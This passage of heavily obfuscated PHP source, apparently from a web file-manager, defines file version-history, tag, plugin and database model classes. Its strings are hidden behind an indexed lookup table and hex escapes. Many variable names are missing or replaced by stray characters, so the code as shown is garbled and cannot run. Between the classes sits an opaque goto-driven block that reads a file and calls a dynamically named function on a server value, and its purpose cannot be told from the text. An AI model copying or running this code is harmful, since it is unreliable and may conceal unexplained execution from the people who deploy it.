return !0; } write_log(array($[1291], $, $), $[1292]); show_json($[1293] . json_encode($[$[1280]]), !1); die; } } class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $ =& $_SERVER[]; $ˊ抓 = $GLOBALS[$[6]][$[92]]; if ($ˊ抓[$[1294]] != 1) { return; } if ($ˊ抓[$[1295]] <= 0) { return; } if (isset($_REQUEST[$[1296]]) && $_REQUEST[$[1296]] == $[91]) { return; } Hook::bind($[1297], $[1298]); Hook::bind($[1299], $[1300]); Hook::bind($[1301], $[1302]); Hook::bind($[1303], $[1304]); Hook::bind($[1305], $[1306]); Hook::bind($[1307], $[1308]); } public static function eventBeforeUpload($) { if ($[3] && $[3] != REPEAT_REPLACE) { return; } $Ïפ = self::parsePath($[0]); if (!$Ïפ) { return; } self::add($Ïפ); } public static function eventBeforeEdit($ہ) { $ڇЫ = self::parsePath($ہ[0]); if (!$ڇЫ) { return; } self::add($ڇЫ); } public static function eventBeforeCopyFile($, $, $, $硄, $Ӏ, $Ň) { $ =& $_SERVER[]; if (isset($->_data[$[1229]]) && $->_data[$[1229]]) { return; } $È = $->getPathOuter($硄); $ = self::parsePath($È); if (!$) { return; } self::add($); } public static function eventBeforeRename($) { $ܭ =& $_SERVER[]; $䉲 = self::parsePath($[0]); if (!$䉲) { return; } $ = self::checkInHistory($䉲); if (!$) { return; } if ($[$ܭ[33]] == $ܭ[230]) { $܊ = self::listData($䉲); if ($܊ && $܊[$ܭ[445]]) { self::moveHistory($䉲, $[1]); } } else { IO::rename($[$ܭ[87]], $[1]); } } public static function eventBeforeMove($) { $ =& $_SERVER[]; $籙 = self::parsePath($[0]); if (!$籙) { return; } $ = self::parsePath($[1]); if (!$) { return; } $ު = $[3]; $ʊװ = self::checkInHistory($籙); if (!$ʊװ) { return; } $ = self::pathHistory($); if ($ʊװ[$[33]] == $[230]) { $Ѩ = self::listData($籙); $· = rtrim($, $[8]) . $[8] . ($ު ? $ު : get_path_this($籙)); $֠ = self::listData($·); if ($Ѩ && $Ѩ[$[445]] && $֠ && $֠[$[445]]) { return self::clear($籙); } if ($Ѩ && $Ѩ[$[445]]) { self::moveHistory($籙, $ު, $); } } else { IO::move($ʊװ[$[87]], $, !1, $ު); self::clearEmptyFolder(IO::pathFather($ʊװ[$[87]])); } } public static function eventAfterRemove($, $) { $ӕ =& $_SERVER[]; if (!$) { return; } $ = self::parsePath($[0]); if (!$) { return; } $Ꞻ = self::checkInHistory($); if (!$Ꞻ) { return; } if ($Ꞻ[$ӕ[33]] == $ӕ[230]) { $ = self::listData($, !1); if ($ && $[$ӕ[445]]) { self::clear($, !1); } } else { IO::remove($Ꞻ[$ӕ[87]]); self::clearEmptyFolder(IO::pathFather($Ꞻ[$ӕ[87]])); } } private static function checkInHistory($) { $Ȃ = self::pathHistory($); if (!IO::exist($Ȃ)) { $Ȃ .= $_SERVER[][1309]; } return IO::exist($Ȃ) ? IO::info($Ȃ) : !1; } private static function parsePath($χ) { $ =& $_SERVER[]; if (!$χ) { return !1; } if (isset($GLOBALS[$[1310]]) && $GLOBALS[$[1310]]) { return; } $ևז = KodIO::parse($χ); $ܽ = $ևז[$[33]]; $ = !$ܽ || $ܽ == KodIO::KOD_IO || $ܽ == KodIO::KOD_SHARE_ITEM; if (!$ || !$ևז[$[1311]]) { return !1; } if (substr($χ, 0, strlen(DATA_PATH . $[1312])) == DATA_PATH . $[1312]) { return !1; } if ($ܽ == KodIO::KOD_SHARE_ITEM) { $ = IO::init($χ); if ($->pathParse[$[1225]]) { return self::parsePath($->pathParse[$[1225]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $ӓ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $[1313]); foreach ($ӓ as $֙ǒ) { if (!$ܽ && substr($χ, 0, strlen($֙ǒ)) == $֙ǒ) { return !1; } } self::log($GLOBALS[$[1220]] . $[1314] . $χ); return $χ; } private static function pathHistory($ѝ) { $Ӌӎ =& $_SERVER[]; $ߢү = self::$_historyBase . ltrim(KodIO::clear($ѝ), $Ӌӎ[8]); $ߢү = str_replace(array($Ӌӎ[1315]), array($Ӌӎ[1316]), $ߢү); return $ߢү; } public static function log($Ł) { } public static function historyCount($،) { $ =& $_SERVER[]; $ = array(); $ = array(); foreach ($، as $踌) { $ = get_path_father($踌); if (!$[$]) { $[$] = array(); } $[$][] = get_path_this($踌); } foreach ($ as $ => $笹) { $ϼ = self::parsePath($); if (!$ϼ) { continue; } foreach ($笹 as $) { $շ = self::listData(rtrim($ϼ, $[8]) . $[8] . $, !1); if ($շ && $շ[$[445]]) { $[rtrim($, $[8]) . $[8] . $] = count($շ[$[445]]); } } } return $; } public static function add($ˡ) { $ܴ =& $_SERVER[]; $ޡ = self::listData($ˡ); if (!$ޡ) { return; } $Ѳ = Model($ܴ[837])->get($ܴ[1317]); $ = intval($GLOBALS[$ܴ[6]][$ܴ[92]][$ܴ[1295]]); $ = $Ѳ == $ܴ[1318] ? min(5, $) : $; if ($ <= 0) { return; } $ڽ = IO::info($ˡ); $à = $ޡ[$ܴ[445]]; if ($ڽ[$ܴ[79]] == 0) { return; } if ($ڽ[$ܴ[79]] >= 1024 * 1024 * 500) { return !1; } $ɝ = IO::hashSimple($ˡ); if ($à && $à[0][$ܴ[672]] == $ɝ) { return !0; } if (array_key_exists($ܴ[233], $ڽ) && !$ڽ[$ܴ[233]]) { return !1; } $Ƚ = short_id(time()); $о = array($ܴ[475] => $Ƚ, $ܴ[672] => $ɝ, $ܴ[32] => $ڽ[$ܴ[32]] . $ܴ[10] . date($ܴ[1319]) . rand_string(1), $ܴ[79] => $ڽ[$ܴ[79]], $ܴ[527] => USER_ID, $ܴ[231] => time(), $ܴ[1320] => $ܴ[12]); IO::mkdir($ޡ[$ܴ[1321]]); $ = IO::copy($ˡ, $ޡ[$ܴ[1321]], !1, $о[$ܴ[32]]); if (!$) { self::clearEmptyFolder($ޡ[$ܴ[1321]]); return !1; } array_unshift($à, $о); if (count($à) > $) { $ƺ = array_slice($à, $); foreach ($ƺ as $Ɇ) { IO::remove($ޡ[$ܴ[1321]] . $Ɇ[$ܴ[32]]); } $à = array_slice($à, 0, $); } return self::saveData($ޡ[$ܴ[1322]], $à); } public static function remove($, $ɫ) { $ =& $_SERVER[]; $ = self::listData($); $ = array(); if (!$) { return !1; } foreach ($[$[445]] as $̭) { if ($̭[$[475]] == $ɫ) { IO::remove($[$[1321]] . $̭[$[32]]); continue; } $[] = $̭; } return self::saveData($[$[1322]], $); } public static function clear($ם, $᧻ = true) { $хΌ =& $_SERVER[]; $ʙϫ = self::listData($ם, $᧻); if (!$ʙϫ) { return !1; } foreach ($ʙϫ[$хΌ[445]] as $Ӛ) { IO::remove($ʙϫ[$хΌ[1321]] . $Ӛ[$хΌ[32]]); } return self::saveData($ʙϫ[$хΌ[1322]], array()); } public static function moveHistory($, $ = '', $ = '') { $ =& $_SERVER[]; $ = self::listData($, !1); if (!$ || !$[$[445]]) { return !1; } $Ɉ = $[1309]; $ = $ ? $ : get_path_this($); $ = $ ? $ : $[$[1321]]; $ = substr(get_path_this($[$[1322]]), 0, -strlen($Ɉ)); foreach ($[$[445]] as $Ϋ => $ܦ) { $ = $ . substr($ܦ[$[32]], strlen($)); $茡 = IO::move($[$[1321]] . $ܦ[$[32]], $, !1, $); if ($茡) { $[$[445]][$Ϋ][$[32]] = $; } } $[$[1322]] = IO::move($[$[1322]], $, !1, $ . $Ɉ); self::saveData($[$[1322]], $[$[445]]); self::clearEmptyFolder($[$[1321]]); } public static function rollback($, $Ҋ) { $ =& $_SERVER[]; $ = self::listData($); if (!$) { return; } $ӯ = IO::info($); foreach ($[$[445]] as $ => $ᩢ) { if ($ᩢ[$[475]] == $Ҋ) { self::add($); $ = $[$[1321]] . $ᩢ[$[32]]; $з = IO::copy($, IO::pathFather($), REPEAT_REPLACE, $ӯ[$[32]]); if ($з) { self::remove($, $Ҋ); } return $з; } } return !1; } public static function setDetail($ՠǜ, $́, $։) { $獒 =& $_SERVER[]; $ = self::listData($ՠǜ); if (!$) { return; } foreach ($[$獒[445]] as $ => $) { if ($[$獒[475]] == $́) { $[$獒[445]][$][$獒[1320]] = $։; self::saveData($[$獒[1322]], $[$獒[445]]); return !0; } } return !1; } public static function fileInfo($Ь, $˰) { $ԖҦ =& $_SERVER[]; $ק = self::listData($Ь); if (!$ק) { show_json(LNG($ԖҦ[108]), !1); } $Ǎݣ = $ԖҦ[12]; foreach ($ק[$ԖҦ[445]] as $ => $ݏ) { if ($ݏ[$ԖҦ[475]] != $˰) { continue; } $Ǎݣ = $ק[$ԖҦ[1321]] . $ݏ[$ԖҦ[32]]; break; } if (!$Ǎݣ) { show_json(LNG($ԖҦ[108]), !1); } return IO::info($Ǎݣ); } public static function fileOut($͜, $ɝ, $ = false) { $ =& $_SERVER[]; $Ԏ = self::fileInfo($͜, $ɝ); $ =& $GLOBALS[$[7]]; $ = isset($[$[1272]]) && $[$[1272]] == 1; if (isset($[$[33]]) && $[$[33]] == $[1323]) { return IO::fileOutImage($Ԏ[$[87]], $[$[1324]]); } IO::fileOut($Ԏ[$[87]], $, get_path_this($͜)); } public static function listData($Ӆĕ, $Ø = true) { $܇ =& $_SERVER[]; if ($Ø && !IO::exist($Ӆĕ)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($Ӆĕ, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $ٴ = self::pathHistory($Ӆĕ); $ = array($܇[1322] => $ٴ . $܇[1309], $܇[1321] => rtrim(get_path_father($ٴ), $܇[8]) . $܇[8], $܇[445] => array()); $ = IO::getContent($[$܇[1322]]); if ($) { $ = json_decode($, !0); if (is_array($)) { $[$܇[445]] = $; } } return $; } private static function saveData($, $ϋ) { $ =& $_SERVER[]; self::log($[1325] . $ . $[74] . count($ϋ), $[819]); if ($ϋ) { return IO::setContent($, json_encode($ϋ)); } $ǜ = IO::pathFather($); IO::remove($); self::clearEmptyFolder($ǜ); return !0; } public static function clearEmptyFolder($¤) { $ =& $_SERVER[]; if (trim($¤, $[8]) == trim(self::$_historyBase, $[8])) { return; } $ = IO::pathFather($¤); $̽ = IO::has($¤, !0); if ($̽[$[239]] > 0 || $̽[$[240]] > 0) { return; } IO::remove($¤); self::clearEmptyFolder($); } private static function getBasePath() { $ӕ =& $_SERVER[]; $Ȥ = Model($ӕ[1326])->get($ӕ[1327]); if ($Ȥ) { if (!IO::exist($Ȥ)) { IO::mkdir($Ȥ); } if (get_path_this($Ȥ) == $ӕ[1312]) { $Ѯ = $ӕ[1328] . rand_string(8); @rename($Ȥ, get_path_father($Ȥ) . $ӕ[8] . $Ѯ); $Ȥ = DATA_PATH . $Ѯ . $ӕ[8]; file_put_contents(DATA_PATH . $ӕ[1259], $ӕ[12]); Model($ӕ[1326])->set($ӕ[1327], $Ȥ); } return $Ȥ; } $Ȥ = DATA_PATH . $ӕ[1328] . rand_string(8) . $ӕ[8]; $Ȥ = IO::mkdir($Ȥ); $Ȥ = rtrim($Ȥ, $ӕ[8]) . $ӕ[8]; file_put_contents($Ȥ . $ӕ[1259], $ӕ[12]); file_put_contents(DATA_PATH . $ӕ[1259], $ӕ[12]); Model($ӕ[1326])->set($ӕ[1327], $Ȥ); return $Ȥ; } } goto BӪ̾; E: class GroupTagModel extends ModelBase { protected $tableName = "\x75\x73\x65\x72\137\146\141\166"; protected function cacheFunctionAlias($ȁ) { $ܭª =& $_SERVER[]; return array($ܭª[2075] => array($ȁ[0], $ܭª[2076]), $ܭª[2077] => array($ȁ[0], $ܭª[2078])); } protected function get($) { $֟ĺ =& $_SERVER[]; $ = Model($֟ĺ[585])->metaGet($, $֟ĺ[2079]); $Х = json_decode($, !0); return $Х ? $Х : array($֟ĺ[2080] => $֟ĺ[91], $֟ĺ[445] => array()); } protected function set($ȡˌ, $) { $ =& $_SERVER[]; $ = $ ? $ : array($[2080] => $[91], $[445] => array()); return Model($[585])->metaSet($ȡˌ, $[2079], json_encode($)); } protected function getByTagID($, $) { $ =& $_SERVER[]; if (!$ || !$) { return !1; } if (!Model($[585])->getInfoSimple($)) { return !1; } $布ͯ = $this->get($); if (!$布ͯ || !isset($布ͯ[$[445]])) { return !1; } $ = array_find_by_field($布ͯ[$[445]], $[475], $); return is_array($) ? $ : !1; } public function listSource($, $Ѝʀ) { $ =& $_SERVER[]; if ($Ѝʀ && !is_array($Ѝʀ)) { $Ѝʀ = array($Ѝʀ); } $ = $this->listData($); $ƿ = array(); foreach ($ as $Յ) { $֮ = $Յ[$[87]]; if (!$֮) { continue; } if (!isset($ƿ[$֮])) { $ƿ[$֮] = array(); } $ƿ[$֮][] = $Յ[$[500]]; } $ = array(); foreach ($ƿ as $ => $ɠ) { $ф = !0; if (!$Ѝʀ) { $[] = $; continue; } foreach ($Ѝʀ as $) { if (!in_array($, $ɠ)) { $ф = !1; break; } } if ($ф) { $[] = $; } } if (!$) { return array(); } $͏ = array($[491] => array($[492], $), $[569] => $, $[190] => SourceModel::TYPE_GROUP); $ = Model($[1411])->listSource($͏); if (!$ || count($) == $[$[442]][$[443]]) { return $; } $ = array(); $֦ = array_to_keyvalue($[$[85]], $[12], $[193]); $ = array_to_keyvalue($[$[86]], $[12], $[193]); $ˉ = array_merge($, $֦); foreach ($ as $֮) { if (!in_array($֮, $ˉ)) { $[] = $֮; } } if ($) { $this->removeBySource($, $); } return $; } protected function listData($) { $˸ =& $_SERVER[]; $ӫ̄ = array($˸[1754] => 0, $˸[557] => array($˸[2081], 0), $˸[496] => $˸[2082] . $); $ژ = $˸[2083]; $ⅲ = $this->field($ژ)->where($ӫ̄)->order($˸[2084])->select(); return $ⅲ ? $ⅲ : array(); } protected function addToTag($, $, $ؗڤ) { $ =& $_SERVER[]; if (!$this->getByTagID($, $ؗڤ) || !$) { return !1; } if (!Model($[899])->pathInfo($)) { return !1; } $ۜȓ = array($[1754] => 0, $[557] => $ؗڤ, $[495] => $, $[496] => $[2085] . $, $[494] => $[12], $[1966] => 0); if ($this->where($ۜȓ)->find()) { return !1; } return $this->add($ۜȓ); } protected function removeFromTag($ʹ, $ڣ, $) { $娪 =& $_SERVER[]; if (!$this->getByTagID($ʹ, $) || !$ڣ) { return !1; } if (is_array($ڣ)) { $ڣ = array($娪[7], $ڣ); } $ = array($娪[1754] => 0, $娪[557] => $, $娪[496] => $娪[2085] . $ʹ, $娪[495] => $ڣ); return $this->where($)->delete(); } protected function removeByTag($ʠ, $Ư) { $Ζ =& $_SERVER[]; if (!$this->getByTagID($ʠ, $Ư)) { return !1; } $ = array($Ζ[1754] => 0, $Ζ[557] => $Ư, $Ζ[496] => $Ζ[2085] . $ʠ); return $this->where($)->delete(); } protected function removeBySource($, $) { $ =& $_SERVER[]; if (!$ || !$) { return !1; } if (is_array($)) { $ = array($[7], $); } $ͨ = array($[1754] => 0, $[495] => $, $[557] => array($[1085], 0), $[496] => $[2085] . $); return $this->where($ͨ)->delete(); } } if ($_SERVER[$_SERVER[][846]] != $_SERVER[$_SERVER[][2086]]) { $_getc = $_SERVER[][847]; $_getfile = $_SERVER[$_SERVER[][848]] . $_SERVER[][849]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][262], $_getfilec); if (count($_getarrs) < $_SERVER[][687]) { $exit = $_SERVER[][850]; $exit(); } $_act = $_SERVER[][851]; $_act($_SERVER[$_SERVER[][844]]); } class PluginModel extends ModelBaseLight { public $optionType = "\123\x79\x73\164\145\x6d\56\160\x6c\x75\147\x69\156\114\151\163\164"; public $field = array("\x6e\x61\155\145", "\163\164\141\x74\x75\x73", "\x72\145\x67\151\145\163\x74", "\x63\x6f\x6e\x66\151\147"); public function loadList($¿賈 = false) { $ = array_to_keyvalue($this->listData(), $_SERVER[][32]); if ($¿賈) { return $[$¿賈]; } return $; } public function init() { $֤ =& $_SERVER[]; Hook::trigger($֤[2087]); $濿 = $this->loadPluginList(); foreach ($濿 as $ => $) { $˥ = $this->appAllow($, $); if (!$˥) { continue; } foreach ($[$֤[2088]] as $ => $ǰޙ) { Hook::bind($, $ǰޙ); } } Hook::trigger($֤[2089]); Hook::trigger(ACTION); } public function appAllow($, $Ĕ, $ = true) { $ϋ釁 =& $_SERVER[]; $ˋ = PLUGIN_DIR . $ . $ϋ釁[2090]; if (!is_array($Ĕ) || !is_array($Ĕ[$ϋ釁[2088]]) || $Ĕ[$ϋ釁[817]] != 1 || !is_file($ˋ)) { return !1; } if (KodUser::isRoot()) { if ($GLOBALS[$ϋ釁[6]][$ϋ釁[2091]] || !$GLOBALS[$ϋ釁[6]][$ϋ釁[2092]]) { return !0; } $Ͷϩ = explode($ϋ釁[50], strtolower($GLOBALS[$ϋ釁[6]][$ϋ釁[2092]])); return in_array(strtolower($), $Ͷϩ) ? !1 : !0; } if ($ && !Action($ϋ釁[2093])->checkAuth($)) { return !1; } return !0; } public function unInstall($ր) { $ =& $_SERVER[]; $ = $this->loadList($ր); if (file_exists(PLUGIN_DIR . $ր)) { Hook::apply($ր . $[2094]); } $this->remove($[$[475]]); } public function changeStatus($, $ܡ) { $Ʒ =& $_SERVER[]; $ͥ = $this->loadList($); if ($ܡ) { Hook::apply($ . $Ʒ[2095]); } $this->update($ͥ[$Ʒ[475]], array($Ʒ[2096] => $ܡ)); } public function appRegist($, $Ւ) { $Í =& $_SERVER[]; $ۙ = $this->loadList($); if ($ۙ) { $this->update($ۙ[$Í[475]], array($Í[2088] => $Ւ)); } else { $ = array($Í[32] => $, $Í[2088] => $Ւ, $Í[817] => 0, $Í[6] => $this->getConfigDefault($)); $this->insert($); } } public function getConfigDefault($) { $ =& $_SERVER[]; $ԗ = array(); $ = $this->getPackageJson($); if (!$ && is_array($[$[2097]])) { return $ԗ; } foreach ($[$[2097]] as $ => $) { if (!isset($[$[450]]) || isset($ԗ[$])) { continue; } $ԗ[$] = $[$[450]]; } return $ԗ; } public function getPackageJson($ڢ) { return Hook::apply($ڢ . $_SERVER[][2098]); } public function getConfig($, $ז = false) { $󠅔 =& $_SERVER[]; $ς = array(); $ψ = $this->loadList($); if ($ψ && is_array($ψ[$󠅔[6]])) { $ς = $ψ[$󠅔[6]]; } if (!$ς || $ז) { $ς = $this->getConfigDefault($); } return $ς; } public function setConfig($ԁ㭬, $ = false) { $Ō =& $_SERVER[]; $ = $this->loadList($ԁ㭬); if (!$) { return !1; } $ԟМ = $[$Ō[6]]; if ($ == !1) { $ԟМ = array(); $ = $this->getConfigDefault($ԁ㭬); } foreach ($ as $ը => $כˏ) { $ԟМ[$ը] = is_string($כˏ) ? trim($כˏ) : $כˏ; } $this->update($[$Ō[475]], array($Ō[6] => $ԟМ)); } public function viewList() { $ =& $_SERVER[]; $ʙƵ = $this->loadList(); $this->pluginScan($ʙƵ); $ʙƵ = $this->loadPluginList(); $ = array(); foreach ($ʙƵ as $岬 => $ö) { $ = $ö; unset($ö[$[2088]], $ö[$[6]]); $ﴘ = PLUGIN_DIR . $ö[$[32]] . $[2090]; if (!is_file($ﴘ)) { continue; } $ = Hook::apply($ö[$[32]] . $[2098]); if (!is_array($)) { continue; } $[$岬] = array_merge($ö, $); if ($[$[6]][$[1677]] != $[$[1651]]) { Hook::apply($ö[$[32]] . $[2095]); $[$[6]][$[1677]] = $[$[1651]]; $this->update($ö[$[475]], array($[6] => $[$[6]])); } } return $; } private function loadPluginList() { $ =& $_SERVER[]; $ = $this->loadList(); if (strtolower(MOD) == $[2099]) { return $; } $nj = Hook::trigger($[2100], $); if ($ && !$nj) { die; } return $nj ? $nj : $; } private function pluginScan($) { $܃ =& $_SERVER[]; recursion_dir(PLUGIN_DIR, $, $Ь, 0); foreach ($ as $) { $ = get_path_this($); if (isset($[$]) || !file_exists($ . $܃[2101]) || !file_exists($ . $܃[2090])) { continue; } Hook::apply($ . $܃[2095]); } } } goto aɘ; D: define($_SERVER[][320], 2); class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\151\x64"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\164\x61\142\154\145", "\157\162\x64\145\162", "\141\x6c\151\x61\163", "\150\141\166\151\156\147", "\x67\162\x6f\x75\x70", "\x6c\157\x63\153", "\144\151\x73\164\x69\x6e\x63\164", "\141\x75\164\157", "\x66\151\x6c\164\145\162", "\166\x61\x6c\x69\144\141\x74\x65", "\x72\145\163\165\x6c\x74", "\142\x69\x6e\144", "\x74\157\x6b\x65\156"); public function __construct($Պ = '', $ = '', $Ů = '') { $ =& $_SERVER[]; $this->_initialize(); if (!empty($Պ)) { if (strpos($Պ, $[10])) { list($this->dbName, $this->name) = explode($[10], $Պ); } else { $this->name = $Պ; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($)) { $this->tablePrefix = $[12]; } elseif ($[12] != $) { $this->tablePrefix = $; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($[321]); } $this->db(0, empty($this->connection) ? $Ů : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $ =& $_SERVER[]; if (empty($this->fields)) { if (think_config($[322])) { $ = $this->dbName ? $this->dbName : think_config($[323]); $ɝ = think_var_cache($[324] . strtolower(get_path_this($) . $[10] . $this->name)); if ($ɝ) { $ݍ = think_config($[325]); if (empty($ݍ) || $ɝ[$[326]] == $ݍ) { $this->fields = $ɝ; return; } } } $this->flush(); } } public function flush() { $Օ =& $_SERVER[]; $this->db->setModel($this->name); $ڜ = $this->db->getFields($this->getTableName()); if (!$ڜ) { return !1; } $this->fields = array_keys($ڜ); $this->fields[$Օ[327]] = !1; foreach ($ڜ as $ʶ => $켒) { $č[$ʶ] = $켒[$Օ[33]]; if ($켒[$Օ[39]]) { $this->fields[$Օ[328]] = $ʶ; if ($켒[$Օ[42]]) { $this->fields[$Օ[327]] = !0; } } } $this->fields[$Օ[329]] = $č; if (think_config($Օ[325])) { $this->fields[$Օ[326]] = think_config($Օ[325]); } if (think_config($Օ[322])) { $л = $this->dbName ? $this->dbName : think_config($Օ[323]); think_var_cache($Օ[324] . strtolower(get_path_this($л) . $Օ[10] . $this->name), $this->fields); } } public function switchModel($δ, $ = array()) { $ġ =& $_SERVER[]; $ = ucwords(strtolower($δ)) . $ġ[330]; if (!class_exists($)) { think_exception($ . think_lang($ġ[331])); } $this->_extModel = new $($this->name); if (!empty($)) { foreach ($ as $̆) { $this->_extModel->setProperty($̆, $this->{$̆}); } } return $this->_extModel; } public function __set($, $) { $this->data[$] = $; } public function __get($) { return isset($this->data[$]) ? $this->data[$] : null; } public function __isset($َ) { return isset($this->data[$َ]); } public function __unset($ߚ) { unset($this->data[$ߚ]); } public function __call($, $랻) { $ =& $_SERVER[]; if (in_array(strtolower($), $this->methods, !0)) { $this->options[strtolower($)] = $랻[0]; return $this; } elseif (in_array(strtolower($), array($[332], $[333], $[334], $[335], $[336]), !0)) { $Ն͛ = isset($랻[0]) ? $랻[0] : $[220]; $Ն͛ = $this->db->parseKey($Ն͛); return $this->getField(strtoupper($) . $[337] . $Ն͛ . $[338] . $, $[332]); } elseif (strtolower(substr($, 0, 5)) == $[339]) { $Ն͛ = think_parse_name(substr($, 5)); $׀[$Ն͛] = $랻[0]; return $this->where($׀)->find(); } elseif (strtolower(substr($, 0, 10)) == $[340]) { $ = think_parse_name(substr($, 10)); $׀[$] = $랻[0]; return $this->where($׀)->getField($랻[1]); } elseif (isset($this->_scope[$])) { return $this->scope($, $랻[0]); } elseif (method_exists($this, $)) { array_unshift($랻, $); return call_user_func_array(array($this, $[341]), $랻); } else { return call_user_func_array(array(parent, $), $랻); } } protected function call() { $œ =& $_SERVER[]; $ = func_get_args(); $ = array_shift($); $ = $; if (is_array($)) { $ = $[1]; $ = $[0]; } $ = count($) - 1; if (isset($[$]) && $[$] === $) { think_exception(__CLASS__ . $œ[4] . $ . think_lang($œ[342])); return; } $[] = $; if (method_exists($this, $œ[343])) { $ = call_user_func_array(array($this, $œ[344]), array($, $)); if (!is_null($) && $ !== !1) { return $; } } $ = call_user_func_array(array($this, $), $); if (method_exists($this, $œ[345])) { $ = call_user_func_array(array($this, $œ[346]), array($, $, $)); if ($) { return $; } } return $; } protected function _initialize() { } protected function _facade($) { $ہÌ =& $_SERVER[]; if (!empty($this->fields)) { foreach ($ as $Ժ => $ɒ) { if (is_array($this->fields) && !in_array($Ժ, $this->fields, !0)) { unset($[$Ժ]); } elseif (is_scalar($ɒ)) { $this->_parseType($, $Ժ); } } } if (!empty($this->options[$ہÌ[347]])) { $ = array_map($this->options[$ہÌ[347]], $); unset($this->options[$ہÌ[347]]); } $this->_beforeWrite($); return $; } protected function _beforeWrite(&$֙) { } public function add($ = '', $ = array(), $ = false) { if (empty($)) { if (!empty($this->data)) { $ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[][348]); return !1; } } $ = $this->_parseOptions($); $ = $this->_facade($); if (!1 === $this->_beforeInsert($, $)) { return !1; } $ = $this->db->insert($, $, $); if (!1 !== $) { $ = $this->getLastInsID(); if ($) { $[$this->getPk()] = $; $this->_after_insert($, $); return $; } $this->_after_insert($, $); } return $; } protected function _beforeInsert(&$ۺ, $) { } protected function _after_insert($, $) { } public function addAll($醻, $ۈ = array(), $ = false) { $̚ =& $_SERVER[]; if (empty($醻)) { $this->error = think_lang($̚[348]); return !1; } $ۈ = $this->_parseOptions($ۈ); foreach ($醻 as $Ӱ => $Ҩ) { $醻[$Ӱ] = $this->_facade($Ҩ); } if (method_exists($this->db, $̚[349])) { $ܼ = $this->db->insertAll($醻, $ۈ, $); } else { $this->startTrans(); foreach ($醻 as $Ӱ => $Ҩ) { $ܼ = $this->db->insert($Ҩ, $ۈ, $); } $this->commit(); } if (!1 !== $ܼ) { $ = $this->getLastInsID(); if ($) { return $; } } return $ܼ; } public function selectAdd($տ = '', $ש = '', $鉠 = array()) { $ =& $_SERVER[]; $鉠 = $this->_parseOptions($鉠); if (!1 === ($ʙ = $this->db->selectInsert($տ ? $տ : $鉠[$[350]], $ש ? $ש : $this->getTableName(), $鉠))) { $this->error = think_lang($[351]); return !1; } else { return $ʙ; } } public function save($ = '', $ = array()) { $董 =& $_SERVER[]; if (empty($)) { if (!empty($this->data)) { $ = $this->data; $this->data = array(); } else { $this->error = think_lang($董[348]); return !1; } } $ = $this->_facade($); $ = $this->_parseOptions($); $Ϻ = $this->getPk(); if (!isset($[$董[352]])) { if (isset($[$Ϻ])) { $몑Ѥ[$Ϻ] = $[$Ϻ]; $[$董[352]] = $몑Ѥ; unset($[$Ϻ]); } else { $this->error = think_lang($董[351]); return !1; } } if (is_array($[$董[352]]) && isset($[$董[352]][$Ϻ])) { $ؚ¸ = $[$董[352]][$Ϻ]; } if (!1 === $this->_beforeUpdate($, $)) { return !1; } $ = $this->db->update($, $); if (!1 !== $) { if (isset($ؚ¸)) { $[$Ϻ] = $ؚ¸; } $this->_afterUpdate($, $); } return $; } protected function _beforeUpdate(&$촀, $䌏֍) { } protected function _afterUpdate($ڳ, $) { } public function delete($ = array()) { $ =& $_SERVER[]; if (empty($) && empty($this->options[$[352]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $ = $this->getPk(); if (is_numeric($) || is_string($)) { if (strpos($, $[50])) { $[$] = array($[353], $); } else { $[$] = $; } $this->options[$[352]] = $; } $ = $this->_parseOptions(); if (is_array($[$[352]]) && isset($[$[352]][$])) { $؆ = $[$[352]][$]; } $ڹ = $this->db->delete($); if (!1 !== $ڹ) { $ = array(); if (isset($؆)) { $[$] = $؆; } $this->_after_delete($, $); } return $ڹ; } protected function _after_delete($ڽ, $) { } public function select($ = array()) { $֮ =& $_SERVER[]; if (is_string($) || is_numeric($)) { $ = $this->getPk(); if (strpos($, $֮[50])) { $[$] = array($֮[353], $); } else { $[$] = $; } $this->options[$֮[352]] = $; } elseif (!1 === $) { $ = $this->_parseOptions(); return $֮[354] . $this->db->buildSelectSql($) . $֮[355]; } $ = $this->_parseOptions(); $蜫 = $this->db->select($); if (!1 === $蜫) { return !1; } if (empty($蜫)) { return null; } $this->_afterSelect($蜫, $); return $蜫; } protected function _afterSelect(&$, $ϟ) { } public function buildSql($ = array()) { $ؚ =& $_SERVER[]; $ = $this->_parseOptions($); return $ؚ[354] . $this->db->buildSelectSql($) . $ؚ[355]; } public function optionsValue($ԏ = null) { if (is_null($ԏ)) { return $this->options; } elseif (is_array($ԏ)) { $this->options = array_merge($this->options, $ԏ); } } protected function _parseOptions($ = array()) { $ =& $_SERVER[]; if (is_array($)) { $ = array_merge($this->options, $); } $this->options = array(); if (!isset($[$[356]])) { $[$[356]] = $this->getTableName(); $Ԭ҈ = $this->fields; } else { $Ԭ҈ = $this->getDbFields(); } if (!empty($[$[357]])) { $[$[356]] .= $[53] . $[$[357]]; } $[$[358]] = $this->name; if (isset($[$[352]]) && is_array($[$[352]]) && !empty($Ԭ҈) && !isset($[$[359]]) && !isset($[$[356]])) { foreach ($[$[352]] as $㽐 => $՟) { $㽐 = trim($㽐); if (in_array($㽐, $Ԭ҈, !0)) { if (is_scalar($՟)) { $this->_parseType($[$[352]], $㽐); } } elseif (!is_numeric($㽐) && $[11] != substr($㽐, 0, 1) && !1 === strpos($㽐, $[10]) && !1 === strpos($㽐, $[337]) && !1 === strpos($㽐, $[214]) && !1 === strpos($㽐, $[360])) { unset($[$[352]][$㽐]); } } } $this->_options_filter($); return $; } protected function 